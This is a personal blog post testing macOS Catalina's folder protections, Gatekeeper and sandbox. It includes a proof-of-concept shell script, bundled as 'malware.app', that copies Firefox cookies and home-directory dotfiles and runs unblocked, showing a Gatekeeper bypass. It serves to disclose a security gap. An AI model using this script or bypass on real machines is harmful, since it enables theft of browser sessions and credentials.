macOS Catalina has introduced some new security features which while annoying for some, made me interested in how could they block malware and improve endpoin security without needing antivirus. This is by far not the first step taken by Apple in this area and we can expect some futher improvements in the following macOS releases.
Folder access
I’m testing this with FreePlane, a Java based mind-mapping software. It is packaged as a Mac app and signed. With no file permission given, I’m
- able to save to
~/Archive/deleteme.mm
- able to read from the above file (including listing the directory)
- list
/var/log
directory - not able to read
~/Downloads
- not able to read
~/Documents
The conclusion therefore is that only ~/Downloads
,~/Documents
,/Volumes
are protected by this mechanism while application specific data is still freely available. This already has the potential to limit the blast radius of ransomware (if users didn’t carelessly click allow on everything) but won’t stop me from e.g. stealing Firefox cookies. I think we can expect a model similar to mobile in a near future MacOS update where application specific data will also be protected in the same way.
Downloading malware
I downloaded a binary sbtool
using Firefox. Running it from the terminal, I get an error message saying the app is from an unknown developer and cannot be verified. So this part works as expected. It works well even for dynamic libraries, had to click to allow each of them when downloading yubico-piv-tool
.
However, I’m having trouble triggering any mechanism against my shell script packaged as an app bundle. The file contents is
#!/bin/sh
OUT=~/Tasks/access
mkdir -p $OUT
cp ~/Library/ApplicationSupport/Firefox/Profiles/*/cookies.sqlite $OUT
cp ~/.* $OUT
# these folders are actually protected
cp ~/Documents/contract_upgrade.mm $OUT/from_Documents.mm 2> $OUT/log.txt
cp ~/Downloads/2019110001.jpg $OUT/from_Downloads.jpg
# data exfiltration
curl 'https://raw.githubusercontent.com/vim-airline/vim-airline/master/doc/airline.txt' > $OUT/airline.txt
sleep 9999
and this file is simply placed into a directory structure like this to make it an app:
malware.app/Contents/MacOS/malware
then it can be run from the Finder as a regular app. It doesn’t display any message box but the execution was successful as we can see from the output folder. Only the files from Documents
and Downloads
were not read, as we know these are the only protected locations (for now anyway). I have granted full disk access to iTerm2.
From the Console.app logs we can see that the system primarily considers /bin/sh
and the result is that it’s not blocked. Even adding the com.apple.quarantine
extended attribute to the package doesn’t trigger anything when launching.
This seems like a complete hole in Gatekeepers purpose because frankly, shell scripts can do a lot and if that’s not enough, you can just call the built-in Python interpreter which even includes bindings to ObjC. I didn’t see any article discussing this aspect of Gatekeeper online.
Sandbox
A sandbox which restricts access to system calls has been available in MacOS for a long time and it was even usable by the user. You can define a set of permissions using a Scheme-like language and then run a process under that restriction using sandbox-exec
. Apparently this functionality is now deprecated and some supporting tools have already been removed.
It’s not very practical to create your own sandbox profiles (I tried for VLC and am still getting permissions denied which don’t get logged in system log) so I guess Apple is probably going to encourage / blackmail developers to do it for their own apps (sandboxing is already required for App Store and of course iOS).
Bonus: compilable sbtool
Jonathan Levin has written a tool that lets you query sandbox status of processes. But he’s omitted some files in the source code leaving most people to use the precompiled binary. I managed to sew a few pieces together to make it compile: